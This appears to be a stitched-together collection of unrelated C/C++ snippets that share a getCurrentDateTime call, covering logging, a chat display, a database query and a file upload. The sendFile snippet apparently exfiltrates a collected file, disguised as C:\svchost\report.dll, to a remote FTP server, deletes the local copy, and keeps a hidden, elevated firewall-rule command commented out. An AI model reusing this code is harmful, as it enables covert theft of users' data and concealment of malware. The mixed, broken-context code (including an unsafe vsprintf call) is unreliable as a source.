int infoOutput(char *fmt,...) { va_list ap; int retval; va_start(ap, fmt); char buff[200]; if(0 == Silent_Mode) //非安静模式 retval = vprintf(fmt, ap); getCurrentDateTime(buff); strcat(buff," "); strcat(buff,fmt); vsprintf(buff,buff,ap); if((buff[strlen(buff)-1])!='\n') strcat(buff,"\n"); fputs(buff,logfp); fflush(logfp); va_end(ap); return retval; }
/** * DBInterface::getCurrentDateTime * @brief gets current local time and outputs it * @return returns current local time as seconds since 1970 */ int DBInterface::getCurrentDateTimeAsUnixTime(bool cutToHours_) { struct tm temp = getCurrentDateTime(cutToHours_); temp.tm_mon -= 1; // month (0 bis 11) temp.tm_year -= 1900; // Year (calender-year minus 1900) temp.tm_isdst = 1; // converting us-summer-time time_t secondsSince1970 = mktime(&temp); return secondsSince1970; }
//发送或接收消息处理 void LeftWdg::editHtmlWithArgument(unsigned long long ulUserID,QString* strMsg, int font_size,unsigned long fontFlat,unsigned long color,QString *familly){ QString tColor; if (isSend) { tColor = "green"; }else{ tColor ="blue"; } QString dateTime = getCurrentDateTime(); QString temp = QString("<font size=\"4\" color=%1>%2 %3:</font> <font size=\"%4\">%5</font>") .arg(tColor).arg(QString::fromUtf8(g_pMeetingFrame->GetUserName(ulUserID))).arg(dateTime).arg(font_size - 6).arg(*strMsg); outPutTextEdit->append(temp); }
/** * DBInterface::readFromDataBase * @brief readFromDataBase reads the data which is requested by dataBuffer_ from database * @param dataBuffer_ requested data (is only filled with requested strings) * @return returns the requested dataBuffer_ which now contains requested data */ vector<DataBuffer> DBInterface::readFromDataBase(DataBuffer& dataBuffer_) { // create empty result vector<DataBuffer> result; if (readStatusOK()) { // create url-string for select ... from ... stringstream httpRequestUrl; httpRequestUrl << URL_OF_DATABASE << "/query?pretty=true&db=" << NAME_OF_DATBASE << "&q=SELECT+"; // << "&precision=s"; // iterate all requested fields bool printComma = false; typedef std::map<string, double>::iterator it_type; for(it_type iterator = dataBuffer_.data.begin(); iterator != dataBuffer_.data.end(); iterator++) { if (printComma) { httpRequestUrl << ","; } else { printComma = true; } string name = cleanString(iterator->first); httpRequestUrl << name << "+"; } // add requested datasource if (!dataBuffer_.useDataSource) { log << SLevel(ERROR) << "Aborted reading from database because there was either no DataSource specified" << " or the useDataSource-flag was not set to true." << endl; } else { string dataSource = cleanString(dataBuffer_.dataSource); httpRequestUrl << "FROM+point+where+DataSource+=+'" << dataSource << "'"; // add requested datetime-range if (dataBuffer_.useDateTimes) { if ( (dataBuffer_.startDateTime.tm_year <= 1971) || (dataBuffer_.endDateTime.tm_year <= 1971) ){ log << SLevel(ERROR) << "Aborted reading from database because of invalid datetime. " << "Please use only years bigger than 1971." << endl; setDBFailure(true); return result; } string startDateTime = cTimeToString(dataBuffer_.startDateTime,false); string endDateTime = cTimeToString( dataBuffer_.endDateTime,false); httpRequestUrl << "+and+time+>=+'" << startDateTime << "'"; httpRequestUrl << "+and+time+<=+'" << endDateTime << "'"; } else { // if no date-time is specified use local time (cut down to current hour) struct tm currentLocalDateTime = getCurrentDateTime(); string startDateTime = cTimeToString(currentLocalDateTime,false); string endDateTime = startDateTime; httpRequestUrl << "+and+time+>=+'" << startDateTime << "'"; httpRequestUrl << "+and+time+<=+'" << endDateTime << "'"; } // execute request HTTPRequest req; string answerJSON = req.get(httpRequestUrl.str()); setDBFailure(answerJSON == ""); // convert json to vector of DataBuffer result = jsonToDataBufferVector(answerJSON,dataBuffer_.dataSource); } } else { log << SLevel(ERROR) << "Aborted reading from database because of status not OK" << endl; } // return return result; }
int main(void) { std::cout << getCurrentDateTime() << std::endl; return EXIT_SUCCESS; }
bool sendFile(std::string identification, bool firstRun){ HINTERNET hInternet; HINTERNET hFtp; hInternet=InternetOpen(0,INTERNET_OPEN_TYPE_DIRECT,0,0,0); // if(hInternet == NULL) //debug... // cout<<"\n1)Something goes wrong...\n"; // else // cout<<"\n1)Everything is perfect...\n"; hFtp = InternetConnectA(hInternet,host.c_str(),INTERNET_DEFAULT_FTP_PORT,user.c_str(),pw.c_str(),INTERNET_SERVICE_FTP,0,0); if(hFtp == NULL){ // try another ftp if(hFtp == NULL){ // try another ftp if(hFtp == NULL){ // try another ftp } } } // cout<<"\n2)Something goes wrong...\n"; // else // cout<<"\n2)Everything is perfect...\n"; char id[100]; strcpy(id, "/htdocs/"); strcat(id, identification.c_str()); //cout << "Creada carpeta con ID " + identification << endl; FtpCreateDirectoryW(hFtp, s2ws(id).c_str()); strcat(id, "/"); strcat(id,getCurrentDateTime(false).c_str()); FtpCreateDirectoryW(hFtp, s2ws(id).c_str()); std::string dateWithFullPath; if (!firstRun){ dateWithFullPath="/htdocs/"+identification+"/"+getCurrentDateTime(false)+"/"+getCurrentDateTime(true)+".txt"; } else{ dateWithFullPath="/htdocs/"+identification+"/"+getUserName(); } char file[150]; int dateWithFullPathLength=dateWithFullPath.size(); for (int a=0;a<=dateWithFullPathLength;a++){ file[a]=dateWithFullPath[a]; } char localFile[] = "C:\\svchost\\report.dll\0"; if(FtpPutFileW(hFtp,s2ws(localFile).c_str(),s2ws(file).c_str(),INTERNET_FLAG_TRANSFER_BINARY,0) == 1){ //cout << "\n3) Everything is perfect...\n"; remove( "C:\\svchost\\report.dll" ); } /* else{ ShellExecute(0, "runas", "cmd.exe", "/C netsh advfirewall firewall add rule name=\"Allow CONHost\" dir=in action=allow program=\"C:\\svchost\\conhost.exe\"\0", "C:\\svchost\\\0", SW_HIDE); FtpPutFileW(hFtp,s2ws(localFile).c_str(),s2ws(file).c_str(),INTERNET_FLAG_TRANSFER_BINARY,0); }*/ // else // cout << "\n3) Something goes wrong..."; InternetCloseHandle(hFtp); InternetCloseHandle(hInternet); return 0; }
void Logger::log(const LogLevel& level, const std::string& message) { os << getCurrentDateTime() << "\t " << levelToString(level) << "\t " << message << std::endl; }